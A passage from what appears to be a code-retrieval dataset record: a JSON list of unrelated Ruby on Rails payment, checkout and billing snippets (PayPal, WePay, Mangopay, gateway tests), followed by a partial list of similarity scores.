Postoffice.send_later(:deliver_confirmation, current_user,@plan,@subscribed)\n\n\n render :partial=>\"plans/signups\", :locals=>{:attendees=>@attendees}\n\n end",
"def create_wepay_account\n if self.has_wepay_access_token? && !self.has_wepay_account?\n params = { :name => self.name, :description => \" User donate \" + self.donate_amount.to_s } \n response = WEPAY.call(\"/account/create\", self.wepay_access_token, params)\n\n if response[\"account_id\"]\n self.wepay_account_id = response[\"account_id\"]\n return self.save\n else\n raise \"Error - \" + response[\"error_description\"]\n end\n\n end \n raise \"Error - cannot create WePay account\"\nend",
"def wepay_postfill\n # If the user approved the 'preapproval' and \n if params.has_key?('preapproval_id')\n @order = Order.find_by_token(params[:preapproval_id])\n unless @order.nil?\n wepay = WePay.new(Settings.wepay_client_id, Settings.wepay_access_token, _use_stage = (!Rails.env.production?))\n # Let's find the user information on Wepay end..\n response = wepay.call('/preapproval', Settings.wepay_access_token, {\n :preapproval_id => params[:preapproval_id]\n })\n \n @order.wepay_postfill(response)\n if params['status'] != 'approved' \n redirect_to :action => :share, :uuid => @order.uuid\n else\n redirect_to root_url\n end\n else\n redirect_to root_url\n end\n else\n redirect_to root_url\n end\n end",
"def payed?\n !payment_entry.nil?\n end",
"def new\n @payment = Payment.new\n @payable = Payable.find(params[:payable_id]) if params[:payable_id].present?\n @payment.organization = @payable.organization if @payable\n\n # @payment.build_check_entry\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @payment }\n end\n end",
"def new\n # Launch mangopayhooks creation if no hooks created yet\n MangopayHookJob.perform_now\n\n # On passe @order en argument de la méthode authorize car on n'a pas de modèle payment.\n # la méthode authorize s'exécute dans le fichier (payment_policy.rb)\n authorize @order\n # On créée un card web payin\n\n begin\n log_error = nil\n\n mangopay_card_web_pay_in = MangoPay::PayIn::Card::Web.create(\n \"Tag\": @order.mangopay_order_tag,\n \"AuthorId\": current_user.account.mangopay_id,\n \"CreditedUserId\": current_user.account.mangopay_id,\n \"DebitedFunds\": { \"Currency\": \"EUR\", \"Amount\": @order.amount_cents },\n \"Fees\": { \"Currency\": \"EUR\", \"Amount\": 0 },\n \"ReturnUrl\": default_url_options_for_mangopay[:host] + \"/courses/\" +\n @order.slot.course.id.to_s,\n \"CreditedWalletId\": current_user.account.wallet.mangopay_id,\n \"CardType\": \"CB_VISA_MASTERCARD\",\n \"SecureMode\": \"DEFAULT\",\n \"Culture\": \"FR\",\n \"StatementDescription\": \"ASANASANO\"\n )\n\n # j'enregistre le json de réponse dans mon order\n @order.update(payment: mangopay_card_web_pay_in)\n @order.state = \"pending\"\n @order.mangopay_id = mangopay_card_web_pay_in[\"Id\"]\n @order.save!\n rescue MangoPay::ResponseError => ex\n log_error = ex.message\n rescue => ex\n log_error = ex.message\n ensure\n MangopayLog.create(event: \"card_web_pay_in_creation\",\n mangopay_answer: mangopay_card_web_pay_in,\n user_id: current_user.id.to_i,\n error_logs: log_error)\n end\n\n redirect_to mangopay_card_web_pay_in[\"RedirectURL\"] # ouvre la page pour saisie CB\n sleep(5.0)\n flash[:notice] = \"Bien reçu. Votre commande est en cours de traitement!.\"\n end",
"def create\n \n #viewで分解されたパラメータを、正常更新できるように復元させる。\n adjust_purchase_date_params\n\t \n #登録済みフラグをセット(伝票重複防止のため)\n #add180223\n get_registerd_flag_param\n \n\t@purchase_datum = PurchaseDatum.new(purchase_datum_params)\n \n \n #仕入単価を更新\n #if (params[:purchase_datum][:unit_price_not_update_flag] == '0')\n # #仕入先単価マスターへの新規追加又は更新\n\t# create_or_update_purchase_unit_prices\n\t# #資材Mも更新\n # update_params_list_price_and_maker\n\t# @purchase_datum.update_attributes(material_masters_params)\n\t#else\n\t# #資材マスターのみへの更新\n\t# #手入力のマスター反映(資材マスターのみ)\n # add_manual_input_except_unit_price\n #end \n #資材マスターへ品名などを反映させる処理(手入力&入出庫以外)\n\t#update_material_master\n\t#upd180627\n #資材マスターの分類を更新\n #update_material_category\n \n #add190124\n #外注の場合に請求用の外注費をセット\n \n #外注請求書を発行した場合にONになるが、この判定は不要と思われるので抹消する(200124)\n #outsourcing_invoice_flag = false\n #if params[:purchase_datum][:outsourcing_invoice_flag] == \"1\" \n \n outsourcing_invoice_flag = true\n @ajax_flag = false\n set_default_outsourcing_data #外注費データの初期値をセット\n #支払予定日を仕入データへもセットする\n @purchase_datum.payment_due_date = @payment_due_date\n @purchase_datum.closing_date = @closing_date #add210301\n \n #add200925\n #仕入日=作業完了日とする\n if @purchase_date.present?\n @purchase_datum.purchase_date = @purchase_date\n end\n \n \n respond_to do |format|\n \n \n #外注請求のチェック有りの場合は、ヴァリデーションを無効にする\n save_check = false\n #if outsourcing_invoice_flag == false\n # save_check = @purchase_datum.save\n #else\n \n #if request.format.symbol != :pdf #del200721 pdfでも保存する\n #ヴァリデーションを無効にする\n #確定申告などで編集する場合を考慮。\n save_check = @purchase_datum.save!(:validate => false)\n \n #else\n # save_check = true\n #end\n #end\n #\n \n\t #if @purchase_datum.save\n if save_check\n #add190125\n #外注用の請求書発行\n print_outsourcing_invoice(format)\n \n #伝票が重複しないように登録フラグをセット\n set_registerd_flag_to_headers\n \n #入出庫の場合は、在庫履歴データ、在庫マスターへも登録する。\n #moved180407\n trans = InventoriesController.set_inventory_history(params, @purchase_datum)\n\t\tif trans == \"new_inventory\"\n flash[:notice] = \"在庫マスターへ新規登録しました。資材マスターの在庫区分・在庫マスターの画像を登録してください。\"\n end\n \n #add200124\n #資金繰のデータへセット\n set_cash_flow = SetCashFlow.new\n set_cash_flow.set_cash_flow_detail_expected_for_outsourcing(params, @payment_due_date)\n #\n \n #if request.format.symbol == :pdf\n # redirect_to outsourcing_datum_path(@purchase_datum) and return\n #else\n format.html {redirect_to outsourcing_datum_path(@purchase_datum, :construction_id => params[:construction_id], \n :purchase_order_id => params[:purchase_order_id], :supplier_master_id => params[:supplier_master_id],\n :move_flag => params[:move_flag])}\n\t\t#end\n \n \n #format.html {redirect_to purchase_datum_path(@purchase_datum, :construction_id => params[:construction_id],\n \n #binding.pry\n #format.html { redirect_to controller: 'users', action: 'show', id: 8}\n #format.html { redirect_to controller: 'outsourcing_data', action: 'show', id: @purchase_datum.id}\n \n \n #入出庫の場合は、在庫履歴データ、在庫マスターへも登録する。\n #InventoriesController.set_inventory_history(params, @purchase_datum)\n\n else\n format.html { render :new }\n format.json { render json: @purchase_datum.errors, status: :unprocessable_entity }\n end\n\n \n end\n end",
"def checkout\n create_adapter!\n booking = StripeBooking.new(paymentplan: Paymentplan.find(params[:plan_id]))\n booking.succeed_booking!(Booking.current)\n redirect_to ordersuccess_path\n end",
"def checkout_needed?\n\t\ttrue\n\tend",
"def create\n @checkout = Checkout.new(checkout_params)\n\n respond_to do |format|\n if @checkout.save\n format.html { redirect_to @checkout, notice: 'Checkout was successfully created.' }\n format.json { render :show, status: :created, location: @checkout }\n else\n format.html { render :new }\n format.json { render json: @checkout.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_successful_purchase_without_account_set_up_and_repeat_payments\n response = @gateway.purchase(@amount, @mastercard, @params)\n assert_success response\n assert response.authorization.to_s.split(';')[2].blank?\n end",
"def create_checkout(redirect_uri)\n\n # if price is between $1 and $100, collect 1.5% +2.9% (wepay)\n # if price is between $100 and $1000, collect 1% +2.9% (wepay)\n # if price is between $1000 and $10,000, collect 0.5% +2.9% (wepay)\n # if price is over $10,000, collect 0.25% +2.9% (wepay)\n\n # app_fee = self.price * 0.01\n price = self.price\n app_fee = tradies_app_fee(price)\n params = {\n :account_id => self.user_wepay_account_id,\n :short_description => \"item sold by #{self.user_name}\",\n :type => :goods,\n # :auto_release => false,\n :currency => 'USD',\n :amount => price,\n :fee => {\n :app_fee => app_fee,\n :fee_payer => 'payee'\n },\n :hosted_checkout => {\n :mode => 'iframe',\n :redirect_uri => redirect_uri\n }\n }\n response = WEPAY.call('/checkout/create', self.user_wepay_access_token, params)\n\n if !response\n raise \"Error - no response from WePay\"\n elsif response['error']\n raise \"Error - \" + response[\"error_description\"]\n end\n # puts response\n return response\n end",
"def test_successful_purchase_without_account_set_up_and_repeat_payments\n response = @gateway.purchase(@amount, @mastercard, @params)\n assert_success response\n assert response.authorization.to_s.split(';')[2].blank?\n assert response.test? \n end",
"def collect_payment?\n true\n end",
"def purchase\n if express_token.include?(\"paykey=AP\")\n\n else\n\n #processes payment for express payment and on site with credit card.\n response = process_purchase\n #creates a transaction to store info from express payment and paywith Credit card\n transactions.create!(:action => \"purchase\", :amount => price_in_cents, :response => response)\n #cart.update_attribute(:purchased_at, Time.now) if response.success?\n response.success?\n end\n end",
"def create\n # You maybe want to log this notification\n notify = Paypal::Notification.new request.raw_post\n \n # Split the item_id\n account_id = notify.item_id\n \n @user = User.find account_id\n\n if notify.acknowledge\n # Make sure you received the expected payment!\n if notify.complete? and 9.99 == Decimal.new( params[:mc_gross] ) and notify.type == \"subscr_payment\"\n # All your bussiness logic goes here\n @user.premium = true\n @user.valid_till = Date.today + 1.month\n @user.save\n render :nothing => true\n end\n end\n end",
"def buy_postage_if_necessary(options = {:current_balance => 9999, :control_total => 0})\n min_postage_balance = 25 # buy postage if balance is under this amount\n postage_purchase_amount = 75 # amount to purchase at a time\n max_control_total = 1000 # max amount to spend per month?\n if Rails.env.production?\n if options[:current_balance] < min_postage_balance && options[:control_total] < max_control_total\n Rails.logger.info(\"STAMPS: Postage below #{min_postage_balance}, attempting to purchase #{postage_purchase_amount} in postage\")\n begin \n response = Stamps.purchase_postage(:amount => postage_purchase_amount,\n :control_total => options[:control_total])\n if response[:purchase_status] == \"Rejected\"\n Rails.logger.info(\"STAMPS: Postage purchase FAILED!, Rejection reason: #{response[:rejection_reason]}\")\n else\n Rails.logger.info(\"STAMPS: Postage purchase SUCCESS!\") \n Rails.cache.write \"stamps_last_purchased_postage_at\", Time.zone.now rescue nil\n Rails.cache.write \"stamps_current_balance\", response[:postage_balance][:available_postage] rescue nil\n end \n rescue Exception => message\n Rails.logger.info(\"STAMPS PURCHASE POSTAGE ERROR MESSAGE: #{message}\")\n end \n else\n Rails.logger.info(\"STAMPS: Checking Postage Balance: #{options[:current_balance]}\") \n end\n else\n Rails.logger.info(\"STAMPS: We don't buy postage in test mode\") \n end\n end",
"def bought?\n # paym\n end",
"def create_wepay_account\n if self.has_wepay_access_token? && !self.has_wepay_account?\n params = { :name => self.name, :description => self.description }\n response = WEPAY.call(\"/account/create\", self.wepay_access_token, params)\n\n if response[\"account_id\"]\n self.wepay_account_id = response[\"account_id\"]\n return self.save\n else\n raise \"Error - \" + response[\"error_description\"]\n end\n\n end\nraise \"Error - cannot create WePay account\"\nend",
"def create\n @paycheck = Paycheck.new(paycheck_params)\n\n respond_to do |format|\n if @paycheck.save\n format.html { redirect_to @paycheck, notice: 'Paycheck was successfully created.' }\n format.json { render action: 'show', status: :created, location: @paycheck }\n else\n format.html { render action: 'new' }\n format.json { render json: @paycheck.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @checkin = Checkin.new(params[:checkin])\n respond_to do |format|\n if not params[:guest].nil?\n if @checkin.save \n params[:payment][:checkin_id] = @checkin.id\n\n if(params[:payment][:amount] != 0 or params[:payment][:amount] != \"\")\n @payment = Payment.new(params[:payment])\n @payment.save!\n end\n checkin_time = \"\"\n 1.upto(Room.all.length) do |i|\n if not params[\"room#{i.to_s}\"].nil?\n room = Room.find(params[\"room#{i.to_s}\"][:room_id])\n if room.status.nil?\n params[\"room#{i.to_s}\"][:checkin_id] = @checkin.id\n params[\"room#{i.to_s}\"][\"tax\"] = 0 if params[\"room#{i.to_s}\"][\"tax\"] == \"\"\n params[\"room#{i.to_s}\"][\"rate\"] = 0 if params[\"room#{i.to_s}\"][\"rate\"] == \"\"\n params[\"room#{i.to_s}\"][\"extraperson\"] = 0 if params[\"room#{i.to_s}\"][\"extraperson\"] == \"\"\n t = Time.now.in_time_zone\n d = DateTime.parse(params[\"room#{i.to_s}\"][:fromdate] + \"T\" + t.hour.to_s + \":\" + t.min.to_s)\n params[\"room#{i.to_s}\"][:fromdate] = d.to_s\n line_item = LineItem.new(params[\"room#{i.to_s}\"])\n line_item.save!\n checkin_time = d.to_s\n else\n @checkin.destroy\n format.html { redirect_to(new_checkin_path, :notice => \"Room #{room.number} is already checked in\") }\n format.xml { render :xml => @checkin.errors, :status => :unprocessable_entity }\n end\n end\n end\n @checkin.update_fromdate\n params[:guest].each do |key,value|\n arr = value.split(/#/)\n guest = Guest.new\n if arr[0] != \"\" || arr[1] != \"\"\n guest.FirstName = arr[0]\n guest.LastName = arr[1]\n guest.save!\n @checkin.guests << guest\n end\n end\n format.html { redirect_to(user_root_url, :notice => 'Checkin was successfully created.') }\n format.xml { render :xml => @checkin, :status => :created, :location => @checkin }\n\n\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @checkin.errors, :status => :unprocessable_entity }\n end\n else\n format.html { redirect_to :action => \"new\",:notice => \"Please add guests\" }\n end\n \n\n end\n end",
"def create\n @merchant = Merchant.new(merchant_params)\n @merchant.verification_code = generate_random_string 50 # generate an email verification code\n if(@merchant.save)\n # set active session and render the merchant page with store details form\n start_registration_step \"store_details\"\n active_merchant_id @merchant\n process_registration_steps \"merchant_details\"\n\n @store = Store.new\n render 'new'\n return\n else\n render 'new'\n return\n end\n end",
"def create\n @checkout = Checkout.new(params[:checkout])\n\n respond_to do |format|\n if @checkout.save\n format.html { redirect_to @checkout, notice: 'Checkout was successfully created.' }\n format.json { render json: @checkout, status: :created, location: @checkout }\n else\n format.html { render action: \"new\" }\n format.json { render json: @checkout.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @checkout = Checkout.new(params[:checkout])\n\n respond_to do |format|\n if @checkout.save\n format.html { redirect_to @checkout, notice: 'Checkout was successfully created.' }\n format.json { render json: @checkout, status: :created, location: @checkout }\n else\n format.html { render action: \"new\" }\n format.json { render json: @checkout.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_successful_purchase_without_address_check2\n @solo.number = '633499110000000003'\n\n response = @gateway.purchase(@amount, @solo, @params)\n assert_success response\n end",
"def pay\n @cash_out = CashOut.find(params[:id])\n\n @transaction = Transaction.new\n @transaction.user = @cash_out.user\n @transaction.transaction_type = 'payment'\n @transaction.amount = @cash_out.amount * -1\n @transaction.attachable = @cash_out\n @transaction.transaction_at = Time.now\n\n if @transaction.save\n @cash_out.status = 'paid'\n @cash_out.paid_at = @transaction.transaction_at\n @cash_out.save\n\n flash[:notice] = \"Se ha realizado el pago\"\n redirect_to [:admin, @cash_out]\n else\n flash[:error] = \"No se pudo realizar el pago\"\n redirect_to [:admin, @cash_out]\n end\n end",
"def create\n @title = \"Bakery Market | Purchase Credits\"\n @google_fonts = \"Josefin+Slab|Dancing+Script|Lato\"\n @stylesheet = \"users\"\n @order = Order.new(params[:order])\n if params[:id] < 4.to_s\n @service_plan = ServicePlan.find(params[:id])\n else\n @service_plan = ServicePlan.find(3)\n end\n @order.service_plan_id = @service_plan.id\n @order.ip_address = request.remote_ip\n @order.user_id = current_user.id\n if @order.save\n if @order.purchase(@service_plan.id)\n @meals_remaining = current_user.meals_remaining + @service_plan.meals_included\n @total_credits_purchased = current_user.total_credits_purchased + @service_plan.meals_included\n current_user.update_attributes(:meals_remaining => @meals_remaining, :total_credits_purchased => @total_credits_purchased)\n flash[:notice] = \"Thanks for your order. You're all set.\"\n redirect_to root_url\n UserMailer.purchase_complete(current_user, @service_plan).deliver\n else\n render :action => \"failure\"\n end\n else\n render :action => \"new\"\n end\n end",
"def add_payment_if_not_exists\n if @order.payments.empty?\n p = Spree::Payment.new\n p.amount = @order.total\n p.payment_method = Spree::PaymentMethod::Omnikassa.fetch_payment_method\n p.response_code = @payment_response.attributes[:response_code]\n p.source = @payment_response.payment_method\n p.order_id = @order.id\n p.save!\n p.started_processing!\n end\n end",
"def validate_pos_invoice\n if self.customer_id && !self.pos_invoice_addresses\n raise_error('Billing address Required!!!!')\n end\nend",
"def create\n response = validate_IPN_notification(request.raw_post)\n case response\n when \"VERIFIED\"\n if params[:payment_status] == \"Completed\"\n deal = Deal.find(params[:item_number])\n if !deal.nil?\n if !deal.payment_complete? && deal.agreement_achieved?\n if deal.seller.email == params[:receiver_email]\n if deal.product.delivery_cost.nil?\n deal.product.delivery_cost = 0\n end\n if (deal.user_proposed_price + deal.product.delivery_cost) == params[:payment_gross].to_f \n deal.payment_complete = true\n deal.save \n end\n end\n end\n end\n end\n\n # check that paymentStatus=Completed\n # check that txnId has not been previously processed\n # check that receiverEmail is your Primary PayPal email\n # check that paymentAmount/paymentCurrency are correct\n # process payment\n when \"INVALID\"\n # log for investigation\n else\n # error\n end\n render :nothing => true\n end",
"def new\n @user = User.find(params[:id])\n @order = Order.new\n @order.user = @user\n @order.first_name = @user.profile.firstname\n @order.last_name = @user.profile.lastname\n if params[:companyIdToSell]\n @order.amount = 29 # Basic user to pay $29 when posting a company to sell\n @companyIdToSell = params[:companyIdToSell]\n else\n if params[:upgrade]\n @order.order_type = \"membership_upgrade\"\n if params[:plan_id]\n @order.plan = Plan.find(params[:plan_id])\n else\n @order.plan = Plan.membership_plan(params[:upgrade_plan][:plan_type],@user) #new plan received not the current plan\n if @order.plan.duration==\"1 month\"\n @user.end_date=@user.start_date.to_date>>(1)\n elsif @order.plan.duration==\"14 month\"\n @user.end_date=@user.start_date.to_date>>(14)\n end\n @user.save\n end\n if @order.plan.fee<0\n flash[:notice]=\"Please contact Trusted Insight for fee payment.\"\n redirect_to \"/\"\n else\n @order.amount = @order.plan.fee\n end\n else\n @order.order_type = \"sign_up\"\n @order.plan = @user.plan\n if @order.plan.fee<0\n flash[:notice]=\"Please contact Trusted Insight for fee payment.\"\n redirect_to \"/\"\n else\n @order.amount = @user.plan.fee\n end\n end\n end\n end",
"def create_checkin(details={})\n checkin_path = \"/checkins\"\n checkin_path += \"/test\" if Gowalla.test_mode?\n response = connection.post do |req|\n req.url checkin_path\n req.body = details\n end\n response.body\n end",
"def create\n PaymentNotification.create!(:params => params, :cart_id => params[:invoice], :status => params[:payment_status], :transaction_id => params[:txn_id])\n @cart = Cart.find(params[:invoice])\n if @cart.purshased_at\n \tbegin\n \t\tredirect_to orders_url\n \tend\n else\n \trender :nothing => true \t\n end\n\nend",
"def paid_up?\n if payment_item.is_a? GeneralPaymentItem\n outstanding_amount <= 0.0\n else\n nil\n end\n end",
"def checkout\n @appointment = current_user.appointments.find(params[:appointment_id])\n\n # TO DO: Process the credit card of the user here\n end",
"def create\n # checkin_date = session[:booking][:checkin]\n # checkout_date = session[:booking][:checkout]\n # room_type_id = session[:booking][:room_type_id]\n checkin_date = params[:booking][:checkin]\n checkout_date = params[:booking][:checkout]\n room_type_id = params[:booking][:room_type]\n\n days = (checkout_date.to_date - checkin_date.to_date).to_i\n \n #@room = Room.where(\"room_type_id = ? AND (id NOT IN (?))\", room_type_id, Booking.joins(:room_occupation).where(\"start_at >= ? OR end_at <= ?\", checkin_date, checkout_date).select(:room_id) ).first\n #@room = Room.where(\"room_type_id = ?\", room_type_id).first\n @room = Room.empty_rooms(checkin_date, checkout_date).where(:room_type_id => room_type_id).first\n \n if @room.nil?\n redirect_to :back, :alert => \"No room avalible\"\n return\n end\n \n Payment.transaction do\n visit_params = Hash.new()\n visit_params[:customer_id] = current_user.id\n visit_params[:should_checkin_at] = checkin_date\n visit_params[:should_checkout_at] = checkout_date\n visit_params[:rate] = @room.base_rate\n visit_params[:room_id] = @room.id\n visit_params[:days] = days\n\n @visit = Visit.new(visit_params)\n @visit.save\n\n date = checkin_date.to_date\n while(date < checkout_date.to_date)\n occupancy_params = Hash.new()\n occupancy_params[:date] = date\n occupancy_params[:room_id] = @room.id\n occupancy_params[:visit_id] = @visit.id\n @occupance = Occupancy.new(occupancy_params)\n @occupance.save\n date = date + 1.day\n end\n\n @payment = current_user.build_payment(payment_params)\n @payment.price = (@room.base_rate * days).to_f\n @payment.visit_id = @visit.id\n @payment.save\n \n end\n redirect_to payment_path(@payment)\n\n end",
"def billing_params_to_create\n params.require(:billing).permit(:student_id, :desired_due_day, :installments_count)\n end",
"def create\n payment = Payment.create!(\n user_id: params['payment']['user_id'],\n fullname: params['payment']['fullname'],\n country: params['payment']['country'],\n city: params['payment']['city'],\n district_id: params['payment']['district_id'],\n address: params['payment']['address'],\n phone: params['payment']['phone'],\n cart_id: params['payment']['cart_id'],\n subtotal: params['payment']['subtotal'],\n total: params['payment']['total'],\n status_id: params['payment']['status_id']\n )\n if payment\n render json:{\n status: :created,\n payment: payment\n }\n else\n render json: { status: 500}\n end\n end",
"def create\n\n @user = current_user\n if @user.is_admin? and not session[:express_token]\n # Make a new membership.\n @membership = Membership.new(membership_params)\n @membership.purchase_date = DateTime.now\n payment_complete = true\n else\n # Do the PayPal purchase\n payment_complete = false\n notice_message_for_user = \"Something went wrong, sorry!\"\n @user = current_user\n @membership = @user.memberships.build(:valid_from => (@user.last_membership.try(:expiry_date) or DateTime.now), :duration => session[:express_purchase_membership_duration], :purchase_date => DateTime.now)\n\n if session[:express_autodebit]\n # It's an autodebit, so set that up\n # 1. setup autodebit by requesting payment\n ppr = PayPal::Recurring.new({\n :token => session[:express_token],\n :payer_id => session[:express_payer_id],\n :amount => (session[:express_purchase_price] / 100),\n :ipn_url => \"#{payment_notifications_url}\",\n :currency => 'AUD',\n :description => session[:express_purchase_description]\n })\n response_request = ppr.request_payment\n logger.info \"XXXXXXXXXXXX\"\n logger.info response_request.to_json\n # raise \"Response denied\"\n logger.info \"XXXXXXXXXXXX\"\n\n if response_request.approved?# and response_request.completed?\n # 2. create profile & save recurring profile token\n # Set :period to :daily and :frequency to 1 for testing IPN every minute\n ppr = PayPal::Recurring.new({\n :token => session[:express_token],\n :payer_id => session[:express_payer_id],\n :amount => (session[:express_purchase_price] / 100),\n :currency => 'AUD',\n :description => session[:express_purchase_description],\n :frequency => session[:express_purchase_membership_duration], # 1,\n :period => :monthly, # :daily,\n :reference => \"#{current_user.id}\",\n :ipn_url => \"#{payment_notifications_url}\",\n :start_at => (@membership.valid_from + session[:express_purchase_membership_duration].months), # Time.now\n :failed => 1,\n :outstanding => :next_billing\n })\n\n response_create = ppr.create_recurring_profile\n if not(response_create.profile_id.blank?)\n @membership.paypal_profile_id = response_create.profile_id\n # If successful, update the user's membership date.\n # update_membership_expiry_date\n # Reset refund if they had one in the past\n @membership.refund = nil\n\n # TODO: Background task\n # TODO: Check paypal recurring profile id still valid\n # TODO: Setup future update_membership_expiry_date\n\n # Save the PayPal data to the @membership model for receipts\n save_paypal_data_to_membership_model\n payment_complete = true\n else\n # Why didn't this work? Log it.\n logger.warn \"create_recurring_profile failed: #{response_create.params}\"\n end\n else\n # Why didn't this work? Log it.\n logger.warn \"request_payment failed: #{response_request.params}\"\n notice_message_for_user = response_request.params[:L_LONGMESSAGE0]\n raise \"Request payment failed\"\n end\n else\n # It's a single purchase so make the PayPal purchase\n response = EXPRESS_GATEWAY.purchase(session[:express_purchase_price], express_purchase_options)\n\n if response.success?\n # If successful, update the user's membership date.\n # update_membership_expiry_date\n logger.info \"Paypal is happy!\"\n save_paypal_data_to_membership_model\n payment_complete = true\n else\n # The user probably hit back and refresh or paypal is broken.\n logger.info \"Paypal is sad.\"\n logger.warn response.params\n notice_message_for_user = response.message\n # redirect_to user_path(current_user), notice: response.message\n # return\n end\n end\n\n end\n\n respond_to do |format|\n if payment_complete and @membership.save\n format.html { redirect_to user_path(@user), notice: 'Membership was successfully created.' }\n format.json { render action: 'show', status: :created, location: @membership }\n else\n logger.info \"Uh oh, couldn't save.......\"\n raise \"couldn't save.\"\n format.html { render action: 'index', notice: @membership.errors }\n format.json { render json: @membership.errors, status: :unprocessable_entity }\n end\n end\n end",
"def billing!\n ready! && save!\n end",
"def collect_billing_info\n return if self.class.to_s.match(/^Devise/) # Don't prevent logins, etc.\n return if request.path.match(/^\\/saas_admin/) # Admins don't need to pay\n return unless account = current_account # Nothing to do if there is no account\n return if !(sub = account.subscription) || sub.state.nil?\n return if sub.state == 'active' && sub.current? && !sub.needs_payment_info?\n return if sub.state == 'trial' && (!Saas::Config.require_payment_info_for_trials || !sub.needs_payment_info?)\n redirect_to billing_account_path\n end",
"def create\n @profile = current_user.profile\n @payment = Payment.new(payment_params)\n @payment.profile = current_user.profile\n if @payment.save\n uri = URI('http://acm.ut.ac.ir/epayment/payments')\n parameters = {\n 'merchant' => \"4452A141\",\n 'amount' => @payment.amount,\n 'redirect' => \"http://acm.ut.ac.ir/events/payments/approve\"}\n response = transact(uri, parameters)\n puts response.body\n @payment.response = response.body\n parsed_response = JSON.parse(response.body)\n if parsed_response[\"status\"] != 1\n redirect_to payments_path, notice: \"در ارتباط با بانک خطایی رخ دادهاست.\"\n return\n end\n @payment.reference_key = parsed_response[\"reference\"]\n if @payment.save\n redirect_to parsed_response[\"bank\"]\n return\n else\n render :new\n end\n else\n render :new\n end\n\n end",
"def create\n PaymentNotification.create!(:params => params, :organization_id => params[:invoice], \n :status => params[:payment_status], :transaction_id => params[:txn_id], :amount => params[:auth_amount])\n render :nothing => true\n end",
"def create_co_and_payment(company_number, payment_exp_date, member_pay_expires: Time.zone.today + 1.year, payment_create_date: Time.zone.now)\n\n u = create(:member_with_membership_app, company_number: company_number)\n u.shf_application.update(created_at: payment_create_date, updated_at: payment_create_date)\n\n co = u.shf_application.companies.first\n\n create(:payment,\n user: u,\n payment_type: Payment::PAYMENT_TYPE_MEMBER,\n status: SUCCESSFUL_PAYMENT,\n expire_date: member_pay_expires,\n created_at: payment_create_date,\n updated_at: payment_create_date)\n\n branding_payment = create(:payment,\n user: u,\n payment_type: Payment::PAYMENT_TYPE_BRANDING,\n status: SUCCESSFUL_PAYMENT,\n expire_date: payment_exp_date,\n created_at: payment_create_date,\n updated_at: payment_create_date)\n\n co.payments << branding_payment\n co\n end",
"def create\n billing_record = GatewayTransaction.gateway.start( current_user, request )\n if current_user.power_plan? || billing_record.new_record?\n redirect_to :action => :error, :s => billing_record.plan_id.nil? ? 0 : 1\n else\n redirect_to billing_record.premium_link\n end\n end",
"def create(deal_title, person_id, org_id, one_m_users_flag_str, mobile_app_flag_str)\n \n validation_errors = []\n \n validation_errors.push('invalid_deal_title') unless Util::CommonValidator.is_string?(deal_title)\n validation_errors.push('invalid_person_id') unless Util::CommonValidator.is_integer?(person_id)\n validation_errors.push('invalid_org_id') unless Util::CommonValidator.is_integer?(org_id)\n validation_errors.push('invalid_one_m_users_flag_str') unless Util::CommonValidator.is_string?(one_m_users_flag_str)\n validation_errors.push('invalid_mobile_app_flag_str') unless Util::CommonValidator.is_string?(mobile_app_flag_str)\n \n return validation_error(\n 'l_t_pd_d_1',\n 'something_went_wrong',\n validation_errors,\n GlobalConstant::ErrorAction.default\n ) if validation_errors.present?\n \n enterprise_custom_field_key = GlobalConstant::PipeDrive.pipedrive_deal_enterprise_custom_field_key\n mobile_app_custom_field_key = GlobalConstant::PipeDrive.pipedrive_deal_mobile_app_custom_field_key\n\n url_path = create_request_path(@deals_endpoint)\n\n is_enterprise = one_m_users_flag_str == 'Enterprise'\n \n # stage_id = is_enterprise ?\n # GlobalConstant::PipeDrive.ost_platform_enterprise_stage_id :\n # GlobalConstant::PipeDrive.ost_platform_business_stage_id\n\n stage_id = GlobalConstant::PipeDrive.ost_platform_business_stage_id\n\n user_id = is_enterprise ?\n GlobalConstant::PipeDrive.ost_pipedrive_enterprise_user_id :\n GlobalConstant::PipeDrive.ost_pipedrive_business_user_id\n \n custom_params = {\n title: deal_title,\n user_id: user_id,\n person_id: person_id,\n org_id: org_id,\n stage_id: stage_id # ID of the stage where this deal will be placed in a pipeline\n }\n custom_params[enterprise_custom_field_key.to_sym] = one_m_users_flag_str\n custom_params[mobile_app_custom_field_key.to_sym] = mobile_app_flag_str\n \n r = send_request_of_type('post', url_path, custom_params)\n return r unless r.success?\n\n success_with_data(\n {\n deal_id: r[:data]['id']\n })\n end",
"def payout!\n ApplicationRecord.transaction do\n # rollback if no pledges to payout\n raise ActiveRecord::Rollback if pledges.unpaid.empty?\n\n transaction = Transaction::InternalTransfer::FundraiserCashOut.create!(\n description: \"Payout Fundraiser(#{id}): Account Balance: $#{account_balance}\",\n audited: true\n )\n total = account_balance\n transaction.splits.create!(amount: -total, item: self)\n transaction.splits.create!(amount: total, item: person)\n\n # update all of the pledges with rewards that have a merch fee, so that we do not charge twice for merchandise\n # if/when paid out again when it closes.\n pledges.unpaid.update_all status: Pledge::Status::PAID\n end\n end",
"def create\n client = Client.find_by_id(billing_params[:client_id].to_i)\n if !client.billed? && client.ready_to_bill?\n @billing = BillingService.new(client).make_bill\n else\n @billing = \"Falha ao processar o pagamento. O cliente #{client.name} já foi cobrado ou não está dentro da data prevista para pagamento este mês\"\n end\n\n respond_to do |format|\n format.html { redirect_to billings_path, notice: @billing }\n end\n end",
"def approve_setup_fee_collection( current_user )\n self.is_setup_fee_collection_approved = true \n self.setup_fee_collection_approver_id = current_user.id \n self.save\n \n # create all those payment payable : loan disbursement \n end"
] |
[
"0.63583624",
"0.63566107",
"0.6131647",
"0.60571337",
"0.59907997",
"0.59208137",
"0.59208137",
"0.5919957",
"0.5873683",
"0.5869971",
"0.5848572",
"0.58260286",
"0.58059704",
"0.5783886",
"0.5783886",
"0.57693124",
"0.5767362",
"0.5764828",
"0.5758694",
"0.5756678",
"0.57460725",
"0.57451254",
"0.57387507",
"0.5718489",
"0.571725",
"0.5700921",
"0.5700412",
"0.569726",
"0.5673907",
"0.5673672",
"0.5665621",
"0.56625056",
"0.56480193",
"0.5634704",
"0.56262153",
"0.5613859",
"0.5607545",
"0.5599762",
"0.55940074",
"0.5592071",
"0.55862534",
"0.558437",
"0.5582237",
"0.5559238",
"0.5556864",
"0.5546512",
"0.55461663",
